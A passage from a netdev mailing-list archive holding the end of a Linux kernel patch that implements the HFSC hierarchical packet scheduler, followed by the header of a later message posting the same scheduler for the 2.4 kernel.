ellist_insert(cl); +} + +static void +update_ed(struct hfsc_class *cl, unsigned int next_len) +{ + cl->cl_e = rtsc_y2x(&cl->cl_eligible, cl->cl_cumul); + cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len); + + ellist_update(cl); +} + +static inline void +update_d(struct hfsc_class *cl, unsigned int next_len) +{ + cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len); +} + +static void +update_cfmin(struct hfsc_class *cl) +{ + struct hfsc_class *p; + u_int64_t cfmin; + + if (list_empty(&cl->actlist)) { + cl->cl_cfmin = 0; + return; + } + cfmin = HT_INFINITY; + list_for_each_entry(p, &cl->actlist, alist) { + if (p->cl_f == 0) { + cl->cl_cfmin = 0; + return; + } + if (p->cl_f < cfmin) + cfmin = p->cl_f; + } + cl->cl_cfmin = cfmin; +} + +static void +init_vf(struct hfsc_class *cl, unsigned int len) +{ + struct hfsc_class *max_cl, *p; + u_int64_t vt, f, cur_time; + int go_active; + + cur_time = 0; + go_active = 1; + for (; cl->cl_parent != NULL; cl = cl->cl_parent) { + if (go_active && cl->cl_nactive++ == 0) + go_active = 1; + else + go_active = 0; + + if (go_active) { + if (!list_empty(&cl->cl_parent->actlist)) { + max_cl = list_entry(cl->cl_parent->actlist.prev, + struct hfsc_class, alist); + /* + * set vt to the average of the min and max + * classes. if the parent's period didn't + * change, don't decrease vt of the class. + */ + vt = max_cl->cl_vt; + if (cl->cl_parent->cl_cvtmin != 0) + vt = (cl->cl_parent->cl_cvtmin + vt)/2; + + if (cl->cl_parent->cl_vtperiod != + cl->cl_parentperiod || vt > cl->cl_vt) + cl->cl_vt = vt; + } else { + /* + * first child for a new parent backlog period. + * add parent's cvtmax to vtoff of children + * to make a new vt (vtoff + vt) larger than + * the vt in the last period for all children. + */ + vt = cl->cl_parent->cl_cvtmax; + list_for_each_entry(p, &cl->cl_parent->children, + siblings) + p->cl_vtoff += vt; + cl->cl_vt = 0; + cl->cl_parent->cl_cvtmax = 0; + cl->cl_parent->cl_cvtmin = 0; + } + + /* update the virtual curve */ + vt = cl->cl_vt + cl->cl_vtoff; + rtsc_min(&cl->cl_virtual, &cl->cl_fsc, vt, + cl->cl_total); + if (cl->cl_virtual.x == vt) { + cl->cl_virtual.x -= cl->cl_vtoff; + cl->cl_vtoff = 0; + } + cl->cl_vtadj = 0; + + cl->cl_vtperiod++; /* increment vt period */ + cl->cl_parentperiod = cl->cl_parent->cl_vtperiod; + if (cl->cl_parent->cl_nactive == 0) + cl->cl_parentperiod++; + cl->cl_f = 0; + + actlist_insert(cl); + + if (cl->cl_flags & HFSC_USC) { + /* class has upper limit curve */ + if (cur_time == 0) + PSCHED_GET_TIME(cur_time); + + /* update the ulimit curve */ + rtsc_min(&cl->cl_ulimit, &cl->cl_usc, cur_time, + cl->cl_total); + /* compute myf */ + cl->cl_myf = rtsc_y2x(&cl->cl_ulimit, + cl->cl_total); + cl->cl_myfadj = 0; + } + } + + f = max(cl->cl_myf, cl->cl_cfmin); + if (f != cl->cl_f) { + cl->cl_f = f; + update_cfmin(cl->cl_parent); + } + } +} + +static void +update_vf(struct hfsc_class *cl, unsigned int len, u_int64_t cur_time) +{ + u_int64_t f; /* , myf_bound, delta; */ + int go_passive = 0; + + if (cl->qdisc->q.qlen == 0 && cl->cl_flags & HFSC_FSC) + go_passive = 1; + + for (; cl->cl_parent != NULL; cl = cl->cl_parent) { + cl->cl_total += len; + + if (!(cl->cl_flags & HFSC_FSC) || cl->cl_nactive == 0) + continue; + + if (go_passive && --cl->cl_nactive == 0) + go_passive = 1; + else + go_passive = 0; + + if (go_passive) { + /* no more active child, going passive */ + + /* update cvtmax of the parent class */ + if (cl->cl_vt > cl->cl_parent->cl_cvtmax) + cl->cl_parent->cl_cvtmax = cl->cl_vt; + + /* remove this class from the vt list */ + actlist_remove(cl); + + update_cfmin(cl->cl_parent); + + continue; + } + + /* + * update vt and f + */ + cl->cl_vt = rtsc_y2x(&cl->cl_virtual, cl->cl_total) + - cl->cl_vtoff + cl->cl_vtadj; + + /* + * if vt of the class is smaller than cvtmin, + * the class was skipped in the past due to non-fit. + * if so, we need to adjust vtadj. + */ + if (cl->cl_vt < cl->cl_parent->cl_cvtmin) { + cl->cl_vtadj += cl->cl_parent->cl_cvtmin - cl->cl_vt; + cl->cl_vt = cl->cl_parent->cl_cvtmin; + } + + /* update the vt list */ + actlist_update(cl); + + if (cl->cl_flags & HFSC_USC) { + cl->cl_myf = cl->cl_myfadj + rtsc_y2x(&cl->cl_ulimit, + cl->cl_total); +#if 0 + /* + * This code causes classes to stay way under their + * limit when multiple classes are used at gigabit + * speed. needs investigation. -kaber + */ + /* + * if myf lags behind by more than one clock tick + * from the current time, adjust myfadj to prevent + * a rate-limited class from going greedy. + * in a steady state under rate-limiting, myf + * fluctuates within one clock tick. + */ + myf_bound = cur_time - PSCHED_JIFFIE2US(1); + if (cl->cl_myf < myf_bound) { + delta = cur_time - cl->cl_myf; + cl->cl_myfadj += delta; + cl->cl_myf += delta; + } +#endif + } + + f = max(cl->cl_myf, cl->cl_cfmin); + if (f != cl->cl_f) { + cl->cl_f = f; + update_cfmin(cl->cl_parent); + } + } +} + +static void +set_active(struct hfsc_class *cl, unsigned int len) +{ + if (cl->cl_flags & HFSC_RSC) + init_ed(cl, len); + if (cl->cl_flags & HFSC_FSC) + init_vf(cl, len); + + list_add_tail(&cl->dlist, &cl->sched->droplist); +} + +static void +set_passive(struct hfsc_class *cl) +{ + if (cl->cl_flags & HFSC_RSC) + ellist_remove(cl); + + list_del(&cl->dlist); + + /* + * actlist is now handled in update_vf() so that update_vf(cl, 0, 0) + * needs to be called explicitly to remove a class from actlist + */ +} + +/* + * hack to get length of first packet in queue. + */ +static unsigned int +qdisc_peek_len(struct Qdisc *sch) +{ + struct sk_buff *skb; + unsigned int len; + + skb = sch->dequeue(sch); + if (skb == NULL) { + if (net_ratelimit()) + printk("qdisc_peek_len: non work-conserving qdisc ?\n"); + return 0; + } + len = skb->len; + if (unlikely(sch->ops->requeue(skb, sch) != NET_XMIT_SUCCESS)) { + if (net_ratelimit()) + printk("qdisc_peek_len: failed to requeue\n"); + return 0; + } + return len; +} + +static void +hfsc_purge_queue(struct Qdisc *sch, struct hfsc_class *cl) +{ + unsigned int len = cl->qdisc->q.qlen; + + qdisc_reset(cl->qdisc); + if (len > 0) { + update_vf(cl, 0, 0); + set_passive(cl); + sch->q.qlen -= len; + } +} + +static void +hfsc_adjust_levels(struct hfsc_class *cl) +{ + struct hfsc_class *p; + unsigned int level; + + do { + level = 0; + list_for_each_entry(p, &cl->children, siblings) { + if (p->level > level) + level = p->level; + } + cl->level = level + 1; + } while ((cl = cl->cl_parent) != NULL); +} + +static inline unsigned int +hfsc_hash(u_int32_t h) +{ + h ^= h >> 8; + h ^= h >> 4; + + return h & (HFSC_HSIZE - 1); +} + +static inline struct hfsc_class * +hfsc_find_class(u_int32_t classid, struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + + list_for_each_entry(cl, &q->clhash[hfsc_hash(classid)], hlist) { + if (cl->classid == classid) + return cl; + } + return NULL; +} + +static void +hfsc_change_rsc(struct hfsc_class *cl, struct tc_service_curve *rsc, + u_int64_t cur_time) +{ + sc2isc(rsc, &cl->cl_rsc); + rtsc_init(&cl->cl_deadline, &cl->cl_rsc, cur_time, cl->cl_cumul); + cl->cl_eligible = cl->cl_deadline; + if (cl->cl_rsc.sm1 <= cl->cl_rsc.sm2) { + cl->cl_eligible.dx = 0; + cl->cl_eligible.dy = 0; + } + cl->cl_flags |= HFSC_RSC; +} + +static void +hfsc_change_fsc(struct hfsc_class *cl, struct tc_service_curve *fsc) +{ + sc2isc(fsc, &cl->cl_fsc); + rtsc_init(&cl->cl_virtual, &cl->cl_fsc, cl->cl_vt, cl->cl_total); + cl->cl_flags |= HFSC_FSC; +} + +static void +hfsc_change_usc(struct hfsc_class *cl, struct tc_service_curve *usc, + u_int64_t cur_time) +{ + sc2isc(usc, &cl->cl_usc); + rtsc_init(&cl->cl_ulimit, &cl->cl_usc, cur_time, cl->cl_total); + cl->cl_flags |= HFSC_USC; +} + +static int +hfsc_change_class(struct Qdisc *sch, u_int32_t classid, u_int32_t parentid, + struct rtattr **tca, unsigned long *arg) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl = (struct hfsc_class *)*arg; + struct hfsc_class *parent = NULL; + struct rtattr *opt = tca[TCA_OPTIONS-1]; + struct rtattr *tb[TCA_HFSC_MAX]; + struct tc_service_curve *rsc = NULL, *fsc = NULL, *usc = NULL; + u_int64_t cur_time; + + if (opt == NULL || + rtattr_parse(tb, TCA_HFSC_MAX, RTA_DATA(opt), RTA_PAYLOAD(opt))) + return -EINVAL; + + if (tb[TCA_HFSC_RSC-1]) { + if (RTA_PAYLOAD(tb[TCA_HFSC_RSC-1]) < sizeof(*rsc)) + return -EINVAL; + rsc = RTA_DATA(tb[TCA_HFSC_RSC-1]); + if (rsc->m1 == 0 && rsc->m2 == 0) + rsc = NULL; + } + + if (tb[TCA_HFSC_FSC-1]) { + if (RTA_PAYLOAD(tb[TCA_HFSC_FSC-1]) < sizeof(*fsc)) + return -EINVAL; + fsc = RTA_DATA(tb[TCA_HFSC_FSC-1]); + if (fsc->m1 == 0 && fsc->m2 == 0) + fsc = NULL; + } + + if (tb[TCA_HFSC_USC-1]) { + if (RTA_PAYLOAD(tb[TCA_HFSC_USC-1]) < sizeof(*usc)) + return -EINVAL; + usc = RTA_DATA(tb[TCA_HFSC_USC-1]); + if (usc->m1 == 0 && usc->m2 == 0) + usc = NULL; + } + + if (cl != NULL) { + if (parentid) { + if (cl->cl_parent && cl->cl_parent->classid != parentid) + return -EINVAL; + if (cl->cl_parent == NULL && parentid != TC_H_ROOT) + return -EINVAL; + } + PSCHED_GET_TIME(cur_time); + + sch_tree_lock(sch); + if (rsc != NULL) + hfsc_change_rsc(cl, rsc, cur_time); + if (fsc != NULL) + hfsc_change_fsc(cl, fsc); + if (usc != NULL) + hfsc_change_usc(cl, usc, cur_time); + + if (cl->qdisc->q.qlen != 0) { + if (cl->cl_flags & HFSC_RSC) + update_ed(cl, qdisc_peek_len(cl->qdisc)); + if (cl->cl_flags & HFSC_FSC) + update_vf(cl, 0, cur_time); + } + sch_tree_unlock(sch); + +#ifdef CONFIG_NET_ESTIMATOR + if (tca[TCA_RATE-1]) { + qdisc_kill_estimator(&cl->stats); + qdisc_new_estimator(&cl->stats, tca[TCA_RATE-1]); + } +#endif + return 0; + } + + if (parentid == TC_H_ROOT) + return -EEXIST; + + parent = &q->root; + if (parentid) { + parent = hfsc_find_class(parentid, sch); + if (parent == NULL) + return -ENOENT; + } + + if (classid == 0 || TC_H_MAJ(classid ^ sch->handle) != 0) + return -EINVAL; + if (hfsc_find_class(classid, sch)) + return -EEXIST; + + if (rsc == NULL && fsc == NULL) + return -EINVAL; + + cl = kmalloc(sizeof(struct hfsc_class), GFP_KERNEL); + if (cl == NULL) + return -ENOBUFS; + memset(cl, 0, sizeof(struct hfsc_class)); + + if (rsc != NULL) + hfsc_change_rsc(cl, rsc, 0); + if (fsc != NULL) + hfsc_change_fsc(cl, fsc); + if (usc != NULL) + hfsc_change_usc(cl, usc, 0); + + cl->refcnt = 1; + cl->classid = classid; + cl->sched = q; + cl->cl_parent = parent; + cl->qdisc = qdisc_create_dflt(sch->dev, &pfifo_qdisc_ops); + if (cl->qdisc == NULL) + cl->qdisc = &noop_qdisc; + cl->stats.lock = &sch->dev->queue_lock; + INIT_LIST_HEAD(&cl->children); + INIT_LIST_HEAD(&cl->actlist); + + sch_tree_lock(sch); + list_add_tail(&cl->hlist, &q->clhash[hfsc_hash(classid)]); + list_add_tail(&cl->siblings, &parent->children); + if (parent->level == 0) + hfsc_purge_queue(sch, parent); + hfsc_adjust_levels(parent); + sch_tree_unlock(sch); + +#ifdef CONFIG_NET_ESTIMATOR + if (tca[TCA_RATE-1]) + qdisc_new_estimator(&cl->stats, tca[TCA_RATE-1]); +#endif + *arg = (unsigned long)cl; + return 0; +} + +static void +hfsc_destroy_filters(struct tcf_proto **fl) +{ + struct tcf_proto *tp; + + while ((tp = *fl) != NULL) { + *fl = tp->next; + tcf_destroy(tp); + } +} + +static void +hfsc_destroy_class(struct Qdisc *sch, struct hfsc_class *cl) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + + hfsc_destroy_filters(&cl->filter_list); + qdisc_destroy(cl->qdisc); +#ifdef CONFIG_NET_ESTIMATOR + qdisc_kill_estimator(&cl->stats); +#endif + if (cl != &q->root) + kfree(cl); +} + +static int +hfsc_delete_class(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (cl->level > 0 || cl->filter_cnt > 0 || cl == &q->root) + return -EBUSY; + + sch_tree_lock(sch); + + list_del(&cl->hlist); + list_del(&cl->siblings); + hfsc_adjust_levels(cl->cl_parent); + hfsc_purge_queue(sch, cl); + if (q->last_xmit == cl) + q->last_xmit = NULL; + + if (--cl->refcnt == 0) + hfsc_destroy_class(sch, cl); + + sch_tree_unlock(sch); + return 0; +} + +static struct hfsc_class * +hfsc_classify(struct sk_buff *skb, struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + struct tcf_result res; + struct tcf_proto *tcf; + int result; + + if (TC_H_MAJ(skb->priority ^ sch->handle) == 0 && + (cl = hfsc_find_class(skb->priority, sch)) != NULL) + if (cl->level == 0) + return cl; + + tcf = q->root.filter_list; + while (tcf && (result = tc_classify(skb, tcf, &res)) >= 0) { +#ifdef CONFIG_NET_CLS_POLICE + if (result == TC_POLICE_SHOT) + return NULL; +#endif + if ((cl = (struct hfsc_class *)res.class) == NULL) { + if ((cl = hfsc_find_class(res.classid, sch)) == NULL) + break; /* filter selected invalid classid */ + } + + if (cl->level == 0) + return cl; /* hit leaf class */ + + /* apply inner filter chain */ + tcf = cl->filter_list; + } + + /* classification failed, try default class */ + cl = hfsc_find_class(TC_H_MAKE(TC_H_MAJ(sch->handle), q->defcls), sch); + if (cl == NULL || cl->level > 0) + return NULL; + + return cl; +} + +static int +hfsc_graft_class(struct Qdisc *sch, unsigned long arg, struct Qdisc *new, + struct Qdisc **old) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (cl == NULL) + return -ENOENT; + if (cl->level > 0) + return -EINVAL; + if (new == NULL) { + new = qdisc_create_dflt(sch->dev, &pfifo_qdisc_ops); + if (new == NULL) + new = &noop_qdisc; + } + + sch_tree_lock(sch); + hfsc_purge_queue(sch, cl); + *old = xchg(&cl->qdisc, new); + sch_tree_unlock(sch); + return 0; +} + +static struct Qdisc * +hfsc_class_leaf(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (cl != NULL && cl->level == 0) + return cl->qdisc; + + return NULL; +} + +static unsigned long +hfsc_get_class(struct Qdisc *sch, u_int32_t classid) +{ + struct hfsc_class *cl = hfsc_find_class(classid, sch); + + if (cl != NULL) + cl->refcnt++; + + return (unsigned long)cl; +} + +static void +hfsc_put_class(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (--cl->refcnt == 0) + hfsc_destroy_class(sch, cl); +} + +static unsigned long +hfsc_bind_tcf(struct Qdisc *sch, unsigned long parent, u_int32_t classid) +{ + struct hfsc_class *p = (struct hfsc_class *)parent; + struct hfsc_class *cl = hfsc_find_class(classid, sch); + + if (cl != NULL) { + if (p != NULL && p->level <= cl->level) + return 0; + cl->filter_cnt++; + } + + return (unsigned long)cl; +} + +static void +hfsc_unbind_tcf(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + + cl->filter_cnt--; +} + +static struct tcf_proto ** +hfsc_tcf_chain(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (cl == NULL) + cl = &q->root; + + return &cl->filter_list; +} + +static int +hfsc_dump_sc(struct sk_buff *skb, int attr, struct internal_sc *sc) +{ + struct tc_service_curve tsc; + + tsc.m1 = sm2m(sc->sm1); + tsc.d = dx2d(sc->dx); + tsc.m2 = sm2m(sc->sm2); + RTA_PUT(skb, attr, sizeof(tsc), &tsc); + + return skb->len; + + rtattr_failure: + return -1; +} + +static inline int +hfsc_dump_curves(struct sk_buff *skb, struct hfsc_class *cl) +{ + if ((cl->cl_flags & HFSC_RSC) && + (hfsc_dump_sc(skb, TCA_HFSC_RSC, &cl->cl_rsc) < 0)) + goto rtattr_failure; + + if ((cl->cl_flags & HFSC_FSC) && + (hfsc_dump_sc(skb, TCA_HFSC_FSC, &cl->cl_fsc) < 0)) + goto rtattr_failure; + + if ((cl->cl_flags & HFSC_USC) && + (hfsc_dump_sc(skb, TCA_HFSC_USC, &cl->cl_usc) < 0)) + goto rtattr_failure; + + return skb->len; + + rtattr_failure: + return -1; +} + +static inline int +hfsc_dump_stats(struct sk_buff *skb, struct hfsc_class *cl) +{ + cl->stats.qlen = cl->qdisc->q.qlen; + if (qdisc_copy_stats(skb, &cl->stats) < 0) + goto rtattr_failure; + + return skb->len; + + rtattr_failure: + return -1; +} + +static inline int +hfsc_dump_xstats(struct sk_buff *skb, struct hfsc_class *cl) +{ + struct tc_hfsc_stats xstats; + + xstats.level = cl->level; + xstats.period = cl->cl_vtperiod; + xstats.work = cl->cl_total; + xstats.rtwork = cl->cl_cumul; + RTA_PUT(skb, TCA_XSTATS, sizeof(xstats), &xstats); + + return skb->len; + + rtattr_failure: + return -1; +} + +static int +hfsc_dump_class(struct Qdisc *sch, unsigned long arg, struct sk_buff *skb, + struct tcmsg *tcm) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + unsigned char *b = skb->tail; + struct rtattr *rta = (struct rtattr *)b; + + tcm->tcm_parent = cl->cl_parent ? cl->cl_parent->classid : TC_H_ROOT; + tcm->tcm_handle = cl->classid; + if (cl->level == 0) + tcm->tcm_info = cl->qdisc->handle; + + RTA_PUT(skb, TCA_OPTIONS, 0, NULL); + if (hfsc_dump_curves(skb, cl) < 0) + goto rtattr_failure; + rta->rta_len = skb->tail - b; + + if ((hfsc_dump_stats(skb, cl) < 0) || + (hfsc_dump_xstats(skb, cl) < 0)) + goto rtattr_failure; + + return skb->len; + + rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +static void +hfsc_walk(struct Qdisc *sch, struct qdisc_walker *arg) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + unsigned int i; + + if (arg->stop) + return; + + for (i = 0; i < HFSC_HSIZE; i++) { + list_for_each_entry(cl, &q->clhash[i], hlist) { + if (arg->count < arg->skip) { + arg->count++; + continue; + } + if (arg->fn(sch, (unsigned long)cl, arg) < 0) { + arg->stop = 1; + return; + } + arg->count++; + } + } +} + +static void +hfsc_watchdog(unsigned long arg) +{ + struct Qdisc *sch = (struct Qdisc *)arg; + + sch->flags &= ~TCQ_F_THROTTLED; + netif_schedule(sch->dev); +} + +static void +hfsc_schedule_watchdog(struct Qdisc *sch, u_int64_t cur_time) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + u_int64_t next_time = 0; + long delay; + + if ((cl = ellist_get_minel(&q->eligible)) != NULL) + next_time = cl->cl_e; + if (q->root.cl_cfmin != 0) { + if (next_time == 0 || next_time > q->root.cl_cfmin) + next_time = q->root.cl_cfmin; + } + ASSERT(next_time != 0); + delay = next_time - cur_time; + delay = PSCHED_US2JIFFIE(delay); + + sch->flags |= TCQ_F_THROTTLED; + mod_timer(&q->wd_timer, jiffies + delay); +} + +static int +hfsc_init_qdisc(struct Qdisc *sch, struct rtattr *opt) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct tc_hfsc_qopt *qopt; + unsigned int i; + + if (opt == NULL || RTA_PAYLOAD(opt) < sizeof(*qopt)) + return -EINVAL; + qopt = RTA_DATA(opt); + + memset(q, 0, sizeof(struct hfsc_sched)); + sch->stats.lock = &sch->dev->queue_lock; + + q->defcls = qopt->defcls; + for (i = 0; i < HFSC_HSIZE; i++) + INIT_LIST_HEAD(&q->clhash[i]); + INIT_LIST_HEAD(&q->eligible); + INIT_LIST_HEAD(&q->droplist); + + q->root.refcnt = 1; + q->root.classid = sch->handle; + q->root.sched = q; + q->root.qdisc = qdisc_create_dflt(sch->dev, &pfifo_qdisc_ops); + if (q->root.qdisc == NULL) + q->root.qdisc = &noop_qdisc; + q->root.stats.lock = &sch->dev->queue_lock; + INIT_LIST_HEAD(&q->root.children); + INIT_LIST_HEAD(&q->root.actlist); + + list_add(&q->root.hlist, &q->clhash[hfsc_hash(q->root.classid)]); + + init_timer(&q->wd_timer); + q->wd_timer.function = hfsc_watchdog; + q->wd_timer.data = (unsigned long)sch; + + return 0; +} + +static int +hfsc_change_qdisc(struct Qdisc *sch, struct rtattr *opt) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct tc_hfsc_qopt *qopt; + + if (opt == NULL || RTA_PAYLOAD(opt) < sizeof(*qopt)) + return -EINVAL;; + qopt = RTA_DATA(opt); + + sch_tree_lock(sch); + q->defcls = qopt->defcls; + sch_tree_unlock(sch); + + return 0; +} + +static void +hfsc_reset_class(struct hfsc_class *cl) +{ + cl->cl_total = 0; + cl->cl_cumul = 0; + cl->cl_d = 0; + cl->cl_e = 0; + cl->cl_vt = 0; + cl->cl_vtadj = 0; + cl->cl_vtoff = 0; + cl->cl_cvtmin = 0; + cl->cl_cvtmax = 0; + cl->cl_vtperiod = 0; + cl->cl_parentperiod = 0; + cl->cl_f = 0; + cl->cl_myf = 0; + cl->cl_myfadj = 0; + cl->cl_cfmin = 0; + cl->cl_nactive = 0; + INIT_LIST_HEAD(&cl->actlist); + qdisc_reset(cl->qdisc); + + if (cl->cl_flags & HFSC_RSC) + rtsc_init(&cl->cl_deadline, &cl->cl_rsc, 0, 0); + if (cl->cl_flags & HFSC_FSC) + rtsc_init(&cl->cl_virtual, &cl->cl_fsc, 0, 0); + if (cl->cl_flags & HFSC_USC) + rtsc_init(&cl->cl_ulimit, &cl->cl_usc, 0, 0); +} + +static void +hfsc_reset_qdisc(struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + unsigned int i; + + for (i = 0; i < HFSC_HSIZE; i++) { + list_for_each_entry(cl, &q->clhash[i], hlist) + hfsc_reset_class(cl); + } + + INIT_LIST_HEAD(&q->eligible); + INIT_LIST_HEAD(&q->droplist); + q->last_xmit = NULL; + del_timer(&q->wd_timer); + sch->flags &= ~TCQ_F_THROTTLED; + sch->q.qlen = 0; +} + +static void +hfsc_destroy_qdisc(struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl, *next; + unsigned int i; + + for (i = 0; i < HFSC_HSIZE; i++) { + list_for_each_entry_safe(cl, next, &q->clhash[i], hlist) + hfsc_destroy_class(sch, cl); + } + + del_timer(&q->wd_timer); +} + +static int +hfsc_dump_qdisc(struct Qdisc *sch, struct sk_buff *skb) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + unsigned char *b = skb->tail; + struct tc_hfsc_qopt qopt; + + qopt.defcls = q->defcls; + RTA_PUT(skb, TCA_OPTIONS, sizeof(qopt), &qopt); + + sch->stats.qlen = sch->q.qlen; + if (qdisc_copy_stats(skb, &sch->stats) < 0) + goto rtattr_failure; + + return skb->len; + + rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +static int +hfsc_enqueue(struct sk_buff *skb, struct Qdisc *sch) +{ + struct hfsc_class *cl = hfsc_classify(skb, sch); + unsigned int len = skb->len; + int err; + + if (cl == NULL) { + kfree_skb(skb); + sch->stats.drops++; + return NET_XMIT_DROP; + } + + err = cl->qdisc->enqueue(skb, cl->qdisc); + if (unlikely(err != NET_XMIT_SUCCESS)) { + cl->stats.drops++; + sch->stats.drops++; + return err; + } + + if (cl->qdisc->q.qlen == 1) + set_active(cl, len); + + cl->stats.packets++; + cl->stats.bytes += len; + sch->stats.packets++; + sch->stats.bytes += len; + sch->q.qlen++; + + return NET_XMIT_SUCCESS; +} + +static struct sk_buff * +hfsc_dequeue(struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + struct sk_buff *skb; + u_int64_t cur_time; + unsigned int next_len; + int realtime = 0; + + if (sch->q.qlen == 0) + return NULL; + + PSCHED_GET_TIME(cur_time); + + /* + * if there are eligible classes, use real-time criteria. + * find the class with the minimum deadline among + * the eligible classes. + */ + if ((cl = ellist_get_mindl(&q->eligible, cur_time)) != NULL) { + realtime = 1; + } else { + /* + * use link-sharing criteria + * get the class with the minimum vt in the hierarchy + */ + cl = actlist_get_minvt(&q->root, cur_time); + if (cl == NULL) { + sch->stats.overlimits++; + if (!netif_queue_stopped(sch->dev)) + hfsc_schedule_watchdog(sch, cur_time); + return NULL; + } + } + + skb = cl->qdisc->dequeue(cl->qdisc); + if (skb == NULL) { + if (net_ratelimit()) + printk("HFSC: Non-work-conserving qdisc ?\n"); + return NULL; + } + + update_vf(cl, skb->len, cur_time); + if (realtime) + cl->cl_cumul += skb->len; + + if (cl->qdisc->q.qlen != 0) { + if (cl->cl_flags & HFSC_RSC) { + /* update ed */ + next_len = qdisc_peek_len(cl->qdisc); + if (realtime) + update_ed(cl, next_len); + else + update_d(cl, next_len); + } + } else { + /* the class becomes passive */ + set_passive(cl); + } + + q->last_xmit = cl; + sch->flags &= ~TCQ_F_THROTTLED; + sch->q.qlen--; + + return skb; +} + +static int +hfsc_requeue(struct sk_buff *skb, struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl = q->last_xmit; + unsigned int len = skb->len; + int ret; + + if (cl == NULL) { + kfree_skb(skb); + sch->stats.drops++; + return NET_XMIT_DROP; + } + + ret = cl->qdisc->ops->requeue(skb, cl->qdisc); + if (ret == NET_XMIT_SUCCESS) { + if (cl->qdisc->q.qlen == 1) + set_active(cl, len); + sch->q.qlen++; + } else { + cl->stats.drops++; + sch->stats.drops++; + } + q->last_xmit = NULL; + + return ret; +} + +static unsigned int +hfsc_drop(struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + unsigned int len; + + list_for_each_entry(cl, &q->droplist, dlist) { + if (cl->qdisc->ops->drop != NULL && + (len = cl->qdisc->ops->drop(cl->qdisc)) > 0) { + if (cl->qdisc->q.qlen == 0) { + update_vf(cl, 0, 0); + set_passive(cl); + } else { + list_move_tail(&cl->dlist, &q->droplist); + } + cl->stats.drops++; + sch->stats.drops++; + sch->q.qlen--; + return len; + } + } + return 0; +} + +static struct Qdisc_class_ops hfsc_class_ops = { + .change = hfsc_change_class, + .delete = hfsc_delete_class, + .graft = hfsc_graft_class, + .leaf = hfsc_class_leaf, + .get = hfsc_get_class, + .put = hfsc_put_class, + .bind_tcf = hfsc_bind_tcf, + .unbind_tcf = hfsc_unbind_tcf, + .tcf_chain = hfsc_tcf_chain, + .dump = hfsc_dump_class, + .walk = hfsc_walk +}; + +struct Qdisc_ops hfsc_qdisc_ops = { + .id = "hfsc", + .init = hfsc_init_qdisc, + .change = hfsc_change_qdisc, + .reset = hfsc_reset_qdisc, + .destroy = hfsc_destroy_qdisc, + .dump = hfsc_dump_qdisc, + .enqueue = hfsc_enqueue, + .dequeue = hfsc_dequeue, + .requeue = hfsc_requeue, + .drop = hfsc_drop, + .cl_ops = &hfsc_class_ops, + .priv_size = sizeof(struct hfsc_sched), + .owner = THIS_MODULE +}; + +static int __init +hfsc_init(void) +{ + return register_qdisc(&hfsc_qdisc_ops); +} + +static void __exit +hfsc_cleanup(void) +{ + unregister_qdisc(&hfsc_qdisc_ops); +} + +MODULE_LICENSE("GPL"); +module_init(hfsc_init); +module_exit(hfsc_cleanup); --------------080403030208070606020806-- From kaber@trash.net Thu Jan 29 07:16:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 07:16:21 -0800 (PST) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TFGC7J020520 for ; Thu, 29 Jan 2004 07:16:13 -0800 Received: from port-212-202-53-237.reverse.qsc.de ([212.202.53.237] helo=gw.localnet) by mx02.qsc.de with esmtp (Exim 3.35 #1) id 1AmDte-00084L-00; Thu, 29 Jan 2004 16:15:58 +0100 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1AmDtw-0002oL-00; Thu, 29 Jan 2004 16:16:16 +0100 Message-ID: <401923C9.5000903@trash.net> Date: Thu, 29 Jan 2004 16:16:25 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: [PATCH 2.4]: HFSC packet scheduler Content-Type: multipart/mixed; boundary="------------080808070409000108080707" X-archive-position: 2888 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 